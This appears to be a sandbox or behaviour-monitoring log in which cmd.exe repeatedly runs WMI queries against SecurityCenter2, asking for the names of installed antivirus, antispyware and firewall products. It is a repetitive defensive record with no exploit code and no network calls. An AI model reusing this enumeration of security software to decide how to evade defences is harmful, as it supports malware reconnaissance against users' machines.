Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\cmd.eXe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
